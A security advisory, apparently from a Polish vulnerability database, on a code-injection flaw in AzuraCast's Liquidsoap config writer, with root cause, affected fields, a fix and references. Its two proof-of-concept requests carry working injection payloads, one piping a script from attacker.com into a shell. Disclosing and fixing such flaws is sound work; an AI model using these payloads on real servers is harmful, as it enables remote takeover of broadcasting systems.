AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Summary
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
Root Cause
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
#{...}— Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\— Backslash escape character
Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.
Injection Points
All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field | Permission Required | Config Line |
|---|---|---|
playlist.remote_url |
Media |
input.http("...") or playlist("...") |
station.name |
Profile |
name = "..." |
station.description |
Profile |
description = "..." |
station.genre |
Profile |
genre = "..." |
station.url |
Profile |
url = "..." |
backend_config.live_broadcast_text |
Profile |
settings.azuracast.live_broadcast_text := "..." |
backend_config.dj_mount_point |
Profile |
input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}
The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PoC 2: Via Station Description (Profile permission)
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"
Trigger Condition
The injection fires when the station is restarted, which happens during:
- Normal station restart by any user with
Broadcastingpermission - System updates and maintenance
azuracast:radio:restartCLI command- Docker container restarts
Impact
- Severity: Critical
- Authentication: Required — any station-level user with
MediaorProfilepermission - Impact: Full RCE on the AzuraCast server as the
azuracastuser - CWE: CWE-94 (Code Injection)
Recommended Fix
Update cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | azuracast/azuracast | < 0.23.4 | 0.23.4 |
Odnośniki
- https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38
- https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c
- https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5
- https://github.com/AzuraCast/AzuraCast
- https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N- Słabość (CWE)
CWE-94- Platforma
- Composer
- Paczka
azuracast/azuracast- Ujawniono
- 09.03.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-93fx-5qgc-wr38 - CC BY 4.0
Historia podatności: azuracast/azuracast
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